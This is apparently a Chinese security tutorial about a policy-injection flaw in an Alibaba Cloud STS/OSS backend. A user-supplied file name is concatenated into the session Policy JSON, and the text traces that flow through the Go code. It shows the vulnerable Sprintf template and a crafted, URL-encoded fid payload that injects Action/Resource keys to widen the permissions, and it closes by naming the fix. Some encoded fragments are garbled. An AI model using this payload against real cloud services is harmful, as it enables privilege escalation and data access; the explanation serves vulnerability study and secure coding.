如果放到代码上，我们可以手搓一个真实的业务环境，这里就拿官网的API文档举例

这里我们需要先去创建一个RAM%20用户，拿到AccessKey%20ID%20和%20AccessKey%20Secret

{

\"Version\":%20\"1\",

\"Statement\":%20[

//Statement%20是具体的授权规则列表

{

\"Effect\":%20\"Allow\",

//Effect%20表示这条规则的效果。常见取值有：Allow：允许。Deny：拒绝。这里默认是Allow放过去

\"Action\":%20\"oss:PutObject\",

//动作，这里可以从文档里面获取，PutObject就是可以上传对象，ListObject就是列出对象

\"Resource\":%20\"acs:oss:\:\:examplebucket/exampledir/\*\"

//持有这份权限的身份，可以向%20examplebucket%20存储桶中所有以%20exampledir/%20开头的对象写入文件，但没有读取、删除或访问其他目录的权限。

}

]

}

在权限编辑页面，我们可以选择对角色权限进行编辑，以上是笔者自己从官网获取到的

oss%20:%20PutObject

│%20 %20 %20 %20│

│%20 %20 %20 %20└──%20具体操作：写入对象

└──────────%20云服务：对象存储%20OSS

oss:PutObject%20主要用于向%20OSS%20上传或写入对象。比如：

exampledir/avatar.png

exampledir/report.pdf

exampledir/2026/07/demo.txt

Resource 表示这条权限可以作用在哪些资源上。把它拆开来看：

acs : oss : \ : \ : examplebucket / exampledir/\*

│     │     │   │          │              │

│     │     │   │          │              └─ 对象名称前缀

│     │     │   │          └──────────────── Bucket 名称

│     │     │   └─────────────────────────── 阿里云账号范围

│     │     └─────────────────────────────── 地域region

│     └───────────────────────────────────── 云服务

└─────────────────────────────────────────── 阿里云资源名称前缀

为什么我不能任意对象读取？

在传统文件系统中： exampledir/../../target.txt 会被路径解析函数归一化为： ../target.txt 因此可能逃出原来的目录。 但 OSS 使用的是 Object Key，不是真实文件路径。阿里云官网明确说明，OSS 本身没有传统文件系统的文件夹概念，只是通过 Key 中的 / 模拟目录效果。所以在 OSS 语义中： exampledir/../../target.txt 通常表示的就是一个完整 Key： Key = \"exampledir/../../target.txt\" .. 并不天然具有“返回上级目录”的含义。它不会自动变成： target.txt 如果会话 Policy 是： \"Resource\": \"acs:oss:\:\:examplebucket/exampledir/\*\" 那么 exampledir/../../target.txt 即使被接受，仍然只是一个以 exampledir/ 开头的 Key。它不会因此覆盖 Bucket 根部真正名为 target.txt 的对象。

简单来说就是无论你在客户端怎么传递，到了调用的时候其实还是会以字符串的形式进行传入，不能从输入流入侵到控制流。

哪些情况下会真的出现跨范围写入

这里自己学习了开发角度，就可以很容易明白如下这个案例

通过获取到的STS也是不能直接对OSS%20Browser拥有登录权限的

这里我们去看一下代码

在获取/api/v1/sts路由过来的fulPathFid参数后，发送给了AssumeRole(fullPathFid)

这里发现并没有对传递进来的内容做任何限制，而是传递到了下一层的provider.go

这里的第一个参数为bucket的值，是不可控的。第二个是fullpath的值，也就是文件名，此时文件名可控，所以最后的数据流转过程就是

main.go:77

读取%20文件名

↓

main.go:87

p.AssumeRole(fid)

↓

aliyun.go:24

生成%20Policy

↓

provider.go:38-41

fmt.Sprintf%20拼接%20fullPathFid

↓

aliyun.go:38

Policy%20放入%20AssumeRoleRequest

↓

aliyun.go:40

调用%20STS%20AssumeRole

↓

aliyun.go:45-55

返回临时%20STS%20凭证

还记得我们之前说过什么么，我们要找的是输入流可以入侵控制流的过程。我们来看这段代码

{

\"Version\":%20\"1\",

\"Statement\":%20[

{

\"Effect\":%20\"Allow\",

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\"

],

\"Resource\":%20[

\"acs:oss:\:\:%s/%s\"

]

}

]

}

此时我们知道了最后一个地方可以控制，那我们是不是可以注入写成

{

\"Version\":%20\"1\",

\"Statement\":%20[

{

\"Effect\":%20\"Allow\",

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\"

],

\"Resource\":%20[

\"acs:oss:\:\:存储桶的名字/x\"

],

\"Action\":%20[

\"oss:ListObjects\"

],

\"Resource\":%20[

\"acs:oss:\:\:存储桶的名字\"

]

}

]

}

这里很多人可能看不懂我在干什么，如果我把Payload拿出来应该就可以看得懂了。

这里的%20Payload%20会被放进原始%20Policy%20模板中第二个%20%s%20对应的位置。

原始代码是：

func%20aliyunVulnerablePolicy(bucket,%20fid%20string)%20string%20{

return%20fmt.Sprintf(

{\"Version\":\"1\",\"Statement\":[{\"Effect\":\"Allow\",\"Action\":[\"oss:GetObject\",\"oss:PutObject\"],\"Resource\":[\"acs:oss:\\*:\\*:%s/%s\"]}]},

bucket,%20fid)

}

假设

bucket%20=%20BUCKET

fid%20=%20x\"],\"Action\":[\"oss:ListObjects\"],\"Resource\":[\"acs:oss:\:\:\*

拼接后大致会变成：

{

\"Version\":%20\"1\",

\"Statement\":%20[

{

\"Effect\":%20\"Allow\",

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\"

],

\"Resource\":%20[

\"acs:oss:\:\:BUCKET/x\"

],

\"Action\":%20[

\"oss:ListObjects\"

],

\"Resource\":%20[

\"acs:oss:\:\:\*\"

]

}

]

}

这里我们依旧需要先理解几个基本概念。前面已经提到，Action%20代表允许执行的操作，Resource%20代表这些操作可以作用的资源。原本的代码只给%20Policy%20配置了：

\"Action\":%20[

\"oss:GetObject\",

\"oss:PutObject\"

]

拼接后的数据到底到了哪里？

因此，正常情况下，这份%20Policy只允许读取和上传对象，并没有%20oss:ListObjects%20权限。%20但现在，我把文件名参数当作%20Payload%20传入：%20x\"],\"Action\":[\"oss:ListObjects\"],\"Resource\":[\"acs:oss:\:\:\%20其中：%20x\"]%20用于闭合原来%20Resource%20数组中的字符串和数组；%20,\"Action\":[\"oss:ListObjects\"]%20用于追加新的%20Action%20字段；%20,\"Resource\":[\"acs:oss:\:\:\%20用于追加新的%20Resource%20字段，并把资源范围扩大到更大的范围。%20最后，原始模板后面剩余的：%20\"]}]}%20继续补全整个%20JSON%20结构。%20因此，问题并不是我们修改了%20Go%20源码中的%20Action，而是通过文件名参数注入，让原本只应当作为数据使用的%20fid%20参与了%20Policy%20JSON%20的生成。后端随后把这段拼接结果交给阿里云%20SDK，SDK%20再调用%20STS%20的%20AssumeRole%20接口申请临时凭证。

最终得到的Payload就变成了

?fid=x%22%5D%2C%22Action%22%3A%5B%22\%22%5D%2C%22Resource%22%3A%5B%22\

这里出现了重复键Action。绝大多数%20JSON%20解析器对重复键采用\"后者覆盖\"，于是这条%20Statement%20的Action最终是[\"\\",\"\"]，Resource是[bucket/\,%20\*]——一条%20Statement、Statement%20数还是%201，但权限已经被放大到\"任意动作、任意资源\"（受角色上限约束）。

所以%20Policy%20注入和%20SQL%20注入同构：边界字符从单引号换成双引号、方括号、花括号；解释器从%20SQL%20parser%20换成%20JSON%20parser%20+%20云端授权。修复思路也一样：数据保持数据，不让它参与语法生成。